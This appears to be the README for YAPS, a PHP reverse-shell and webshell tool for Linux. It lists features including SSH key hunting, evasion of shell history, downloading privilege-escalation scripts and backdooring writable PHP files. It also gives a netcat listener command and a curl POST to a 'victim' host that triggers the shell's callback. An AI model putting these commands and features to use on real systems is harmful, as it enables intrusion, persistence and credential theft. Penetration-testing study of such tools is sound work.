webshell/php/YAPS

YAPS - Yet Another PHP Shell

Yeah, I know, I know... But that's it. =) As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (nc -lp 1337). In the current version (1.3.1), its main functions support only linux systems, but i'm planning to make it work with Windows too. It's currently in its first version and I haven't tested it much yet, and there are still many things I intend to do and improve for the next versions (it's not done yet!), so please let me know if you've found any bugs. =)

Features

• Single PHP file (no need to install packages, libs, or download tons of files)
• Works with netcat, ncat, socat, multi/handler, almost any listener
• Customizable password protection
• No logs in .bash_history
• Can do some enumeration
  • Network info (interfaces, iptables rules, active ports)
  • User info
  • List SUID and GUID files
  • Search for SSH keys (public and private)
  • List crontab
  • List writable PHP files
• Auto download LinPEAS, LinEnum or Linux Exploit Suggester
• Write and run PHP code on remote host
• (Semi) Stabilize shell
• Duplicate connections
• Auto update
• [new] Infect PHP files with backdoors

Cons

• Connection isn't encrypted (yet) (nc does not support SSL)
• Not fully interactive (although you can spawn an interactive shell with !stabilize)
  • CTRL+C breaks it; can't use arrows to navigate (unless you use rlwrap nc -lp <ip> <port>)

Usage

1. Set up a TCP listener;
2. Set your IP and port. This can be done by:

• 2.1 Editing the variables at the start of the script;
• 2.2 Setting them via post request (curl -x POST -d "x=ip:port" victim.com/yaps.php);

3. Open yaps.php on browser, curl it or run via CLI;

• 3.1 You can set yaps.php?s or yaps.php?silent to supress the banner
• 3.2 You can run via CLI with php yaps.php ip port

5. Hack!

Working commands

• !help - Display the help menu
• !all-colors - Toggle all colors (compatible with colorless TTY)
• !color - Toggle PS1 color (locally only, no environment variable is changed)
• !duplicate - Spawn another YAPS connection
• !enum - Download LinPEAS and LinEnum to /tmp and get them ready to use
• !info - list informations about the target (the enumeration I mentioned above)
• !infect - Infect writable PHP files with backdoors
• !stabilize - Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)
• !passwd - Password option (enable, disable, set, modify)
• !php - Write and run PHP on the remote host
• !suggester - Download Linux Exploit Suggester to /tmp and get it ready to use

Screenshots

Changelog

v1.3.1 - 01/08/2021

• Bugs fixed v1.3 - 28/07/2021
• Added !infect to infect PHP files with backdoors
• Changed !stabilize payload (bugs fixed) v1.2.2 - 18/07/2021
• Changed 'update' function
• Changed 'connect' function
• Improved 'download' function
• Bugs fixed v1.2.1 - 17/07/2021
• Bugs fixed v1.2 - 17/07/2021
• Added !duplicate to spawn another shell
• Added update verification (--update|-u)
• Added CLI arguments (--help|-h)
• Added socket via arguments (php yaps.php ip port)
• Changed stabilize shell method (doesn't freeze anymore)
• Changed download method
• Changed connection method via POST (receives a single parameter) v1.1 - 12/07/2021
• Added !all-colors to toggle terminal colors and work with colorless TTYs
• Added exit command to close socket (leave shell)
• Changed payload in !stabilize to unset HISTSIZE and HISTFILE
• Changed the method of obtaining CPU and meminfo in !info v1.0.1 - 08/07/2021
• Changed [x,y,z] to array(x,y,z) to improve compatibility with older PHP versions
• Changed payload for interactive shell to work with PHP<5.4

Credits

Some ideas were inspired by this tools:

Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum

https://github.com/rebootuser/LinEnum

Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell